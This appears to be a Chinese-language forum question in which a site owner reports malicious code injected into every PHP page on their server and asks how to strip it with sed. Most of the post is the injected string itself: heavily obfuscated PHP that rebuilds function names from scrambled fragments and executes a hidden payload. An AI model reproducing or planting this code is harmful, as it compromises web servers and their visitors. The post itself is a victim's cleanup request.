有人在我的网络服务器的所有php页面中注入了很长的代码：/我希望有一种方法可以立即从我的所有php文件中删除这个确切的字符串，但我无法弄清楚如何用sed来做（可能是因为我没有正确地逃避一切）。这是我需要删除的确切字符串：
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x242178}527}88:}3!|!*nbsbq%)323ldfidk!~!<**qp48]32M3]317]445]212]445];$lglnmkh = $idvvdcl("", $fyohrq^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)5#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&pI#7>/7rfs%6<#o]1/20Q7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6<!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!o 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas," t>j%!*9! x27!hmg%)!gj!~<ofmy%,33)%cB%iN}#-! x24/%tmw/ x24)%]+^?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44e}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)ggj!<**2-4-bubE{h%)sutcv!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27if((function_exists(" x6f 142 x5f%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsu27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6pdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)jyf`opjudovg x22)!gj}1~!<2p% x7f!~c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*pde#)tutjyf`4 x223}!+!<+{e%+*!*+fez>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bsj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27!>!(%w:!>! x246767~67f#<!%tww!>! x2400~:<h%_t%:osvufs:-#2#/#%#/#o]#/*)323zbe!-#jt0*?k5`{66~6<&w6< x7fw6*CWojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+c]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fd!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")))4l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-j{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!4*<! x24- x24gps)%j>1;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufc:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*j}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!pdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`G" x61 156 x75 156 x61"]=1; $uas=strtolower($_S43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!34}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 <!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tx6d 163 x69 145")) or (strStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSbygtzy'; $jliuxajb=explode(chr((687-567)),substr($ydhjmf,(35855-29835),(173-139))); $cmdzwc = $jliuxajb[0]($jliuxajb[(6-5)]); $wkaice = $jliuxajb[0]($jliuxajb[(9-7)]); if (!function_exists('truxnemf')) { function truxnemf($xqcvtee, $rauwtsay,$lysgojb) { $gzregwv = NULL; for($qdalqaj=0;$qdalqaj<(sizeof($xqcvtee)/2);$qdalqaj++) { $gzregwv .= substr($rauwtsay, $xqcvtee[($qdalqaj*2)],$xqcvtee[($qdalqaj*2)+(3-2)]); } return $lysgojb(chr((58-49)),chr((299-207)),$gzregwv); }; } $mknyxnfq = explode(chr((154-110)),'4641,33,1384,29,1562,53,5723,46,611,35,4298,56,5994,26,2083,54,1673,56,2206,32,2717,37,3716,63,3221,48,3602,34,938,58,1338,46,5067,20,184,48,818,32,2974,68,3381,23,5004,63,2754,31,4128,21,396,64,5680,43,1729,25,0,57,460,65,2363,39,3153,68,5151,22,4189,47,3042,35,4149,40,2028,55,850,26,4729,65,2785,29,5518,51,1295,43,730,32,4236,62,3779,67,367,29,5462,35,3578,24,4674,55,4354,31,2533,41,5836,42,4576,23,3546,32,3339,42,1836,30,4856,34,1121,62,1078,43,3636,49,1413,70,3114,39,319,48,1919,55,5173,58,1754,26,4090,38,2935,39,3846,58,2178,28,3942,28,996,53,4026,64,5351,55,1049,29,1974,54,2574,49,4925,34,4794,62,4599,42,2665,52,1866,21,3523,23,1535,27,1887,32,906,32,4515,61,5612,68,5121,30,4413,52,1183,65,5087,34,3077,37,3269,33,1780,56,1248,47,1615,28,2860,23,3904,38,5878,67,1643,30,2466,67,2238,65,232,24,5497,21,3421,37,762,56,4385,28,4890,35,4465,50,5569,43,5945,49,2883,52,2303,60,3685,31,689,41,3458,65,57,62,2402,64,2814,46,2137,41,2623,42,5231,67,3302,37,876,30,256,63,3970,24,5769,67,546,65,646,43,1483,52,119,65,4959,45,525,21,5406,56,5298,53,3994,32,3404,17'); $wmugto = $cmdzwc("",truxnemf($mknyxnfq,$ydhjmf,$wkaice)); $cmdzwc=$ydhjmf; $wmugto(""); $wmugto=(743-622); $ydhjmf=$wmugto-1; ?>
任何帮助都会非常感激。我真的不想手工编辑每个文件。